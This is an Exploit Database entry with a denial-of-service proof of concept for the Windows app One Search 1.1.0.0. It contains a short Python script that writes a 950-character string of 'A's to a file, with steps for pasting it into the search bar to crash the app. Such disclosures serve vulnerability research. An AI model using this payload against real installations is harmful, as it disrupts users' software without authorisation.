

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

One Search 1.1.0.0 - Denial of Service (PoC)

EDB-ID:

46195

CVE:

N/A

EDB Verified: ✘

Author:

[0XB9](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-01-18

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: One Search 1.1.0.0 - Denial of Service (PoC)
# Date: 1/18/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9PMR5QNS5LTL
# Version: 1.1.0.0
# Tested on: Windows 10
```

```
# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# App will now crash
```

```
buffer = "A" * 950
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#),
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.